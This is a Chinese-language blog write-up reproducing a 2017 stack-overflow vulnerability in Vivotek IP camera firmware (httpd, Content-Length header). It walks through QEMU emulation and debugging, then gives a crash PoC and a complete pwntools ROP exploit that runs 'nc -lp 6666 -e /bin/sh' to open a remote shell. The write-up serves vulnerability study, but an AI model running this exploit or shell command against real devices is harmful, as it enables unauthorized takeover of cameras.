vivotek 棧溢出漏洞復現
一、前言
近日公司進了一批攝像頭,以前還沒有做過這方面的研究所以找了一個vivotek 2017年的棧溢出漏洞拿來練練手。
二、固件仿真
虛擬機環境:Ubuntu 20.04
gdb版本:GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
固件下載地址:https://github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip
從上面的地址下載還有漏洞的固件,使用binwalk分離出來文件系統,發現問題文件httpd位于/usr/sbin目錄下,使用file命令查看文件類型?

因為是arm架構的所以沒法在本地跑,使用QEMU模擬運行

因為QEMU模擬的環境不會掛載dev和proc,所以我們這邊將固件系統的這兩個目錄掛載到虛擬機的dev和proc中。
sudo mount -o bind /dev ./squashfs-root/dev/ sudo mount -t proc /proc/ ./squashfs-root/proc/
再次運行httpd文件,發現這次報了其他的錯誤

打開ida定位報錯語句的位置,可以看到/etc/conf.d/boa/boa.conf文件打開失敗導致的

本地ls查看會發現conf.d是鏈接到/mnt/flash/etc/conf.d的,并且該目錄為空

嘗試在其他目錄中尋找boa.conf文件,最終在如下的目錄找到了它,將此目錄下的/etc復制到/mnt/flash/目錄下

再次運行httpd文件,發現報了如下錯誤

老辦法通過IDA搜索報錯字符串,定位到如下位置,可以發現報錯原因是因為此程序中使用gethostname函數將主機名保存在rlimits中,并使用gethostbyname函數通過主機名找到IP地址。但是最終因為我們的主機名與固件中的主機名不同所以無法獲取到IP地址。

這里我們可以通過hostname命令查看本機名,然后以我的本機名為例修改squashfs-root/etc/hosts中的內容
echo "127.0.0.1 amall-virtual localhost" > squashfs-root/etc/hosts
修改完成后再次運行httpd文件,可以看到已經成功啟動

三、漏洞分析
我們根據poc來驗證漏洞
echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0Content-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\r\r" | netcat -v 127.0.0.1 80

驗證成功,可以看到程序崩潰信息。我們根據poc可以了解到漏洞是在Content-Length中出現的,從IDA中搜索字符串然后查看交叉引用定位到漏洞位置所在

根據反匯編的代碼我們可以了解到,程序在處理Content-Length字符串的內容時,使用strncpy函數保存從:到之間的字符串,但是可以看到其中并沒有對長度進行檢測導致了用戶可以輸入任意長度的字符串造成棧溢出。
四、漏洞復現
在arm的棧溢出中,我們首要考慮的就是如何劫持pc寄存器,而這個偏移可以通過動調獲得。
看一下保護,開啟了NX保護所以無法利用shellcode,考慮使用ROP來繞過NX保護。

為了能夠查看程序的執行流程,這里選擇將文件系統和gdbserver一起傳到qemu虛擬機里,下面的內容根據driverxdw師傅的這篇文章整理得到。
從arm-debian的qemu鏡像地址下載如下三個文件
https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile https://people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2
在本地新建一張網卡用于和qemu虛擬機通信
sudo tunctl -t tap0 -u `whoami` sudo ifconfig tap0 192.168.2.1/24
啟動qemu虛擬機鏡像
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
啟動成功后會讓你輸入用戶名密碼,默認用戶名/密碼:root/root,然后在qemu虛擬機中配置網卡信息,這樣qemu虛擬機就可以和本地進行通信了
ifconfig eth0 192.168.2.2/24
接下來使用ftp把固件的文件系統get到qemu虛擬機中,此時我們就可以掛載/dev和/proc了。
mount -o bind /dev ./squashfs-root/dev mount -t proc /proc/ ./squashfs-root/proc/
最后切換到固件的文件系統中,并運行漏洞文件
chroot squashfs-root sh ./usr/sbin/httpd
這時我們就可以開始調試工作了,采用gdb-multiarch&gdbserver的方式。但是在試過網上編譯好的gdbserver以后都無法在遠程target remote到,最后在這篇文章中找到了答案,按照上面的步驟我編譯了一份與我本地gdb版本相同的gdbserver-static,文件上傳到github上了有需要的師傅可以自行下載。
github地址:https://github.com/AmaIIl/gdbserver-static-9.2-arm
有了對應版本的gdbserver就可以開始遠程調試了,具體命令如下所示
./gdbserver-static 127.0.0.1:1234 --attach
然后寫一個gdbinit把重復的命令寫進去方便調試
# gdb-multiarch -x gdbinit file ./usr/sbin/httpd set architecture arm target remote 192.168.2.2:1234
我們將斷點下在函數退棧的位置,然后計算其與輸入地址的差值就可以得到溢出偏移。為了降低利用難度這里關閉qemu虛擬機的aslr保護,可以節省幾步內存泄露的步驟。
sudo sysctl -w kernel.randomize_va_space=0
通過動調我們可以得到需要的所有條件:溢出偏移、棧地址、libc地址。但是要構造ROP還需要一些gadget,使用ropper搜索我們需要的gadget,最終我們需要構造的就是system("XXX")的效果,所以需要能控制pc和r0寄存器的gadget,同時因為程序漏洞使用strncpy函數所以gadget中不能含有零字符,所以最終選擇了這兩段gadget
0x00048784: pop {r1, pc};
0x00016aa4: mov r0, r1; pop {r4, r5, pc};
exp如下所示
from pwn import *
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
p = remote('192.168.2.2', 80)
libc = ELF('./squashfs-root/lib/libc.so.0')
stack = 0xbeffeb64
base = 0xb6f2d000
system = base+libc.sym['system']
pop_r1_pc = 0x00048784+base
mov_r0_r1 = 0x00016aa4+base # mov r0, r1; pop {r4, r5, pc};
head = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0Content-Length:"
payload = 'b'*(0x00003c-8)+p32(pop_r1_pc)+p32(stack)+p32(mov_r0_r1)+'b'*8+p32(system)
end = 'nc -lp 6666 -e /bin/sh;'+'\r\r'
sl(head+payload+end)
shell()
腳本執行成功后會開啟6666端口,這時只要用nc遠程連接即可getshell

五、總結
還是那個感覺,復現iot最難的步驟還是環境搭建。在gdbserver那里卡住了很久,本地編譯也是各種報錯,不過好在最后都一一解決了。2017年的這個棧溢出漏洞整體利用難度不算高,感興趣的師傅們可以動手試著復現一下。
參考鏈接
https://www.anquanke.com/post/id/185336#h2-3
https://xz.aliyun.com/t/5054#toc-2
https://bbs.pediy.com/thread-220907.htm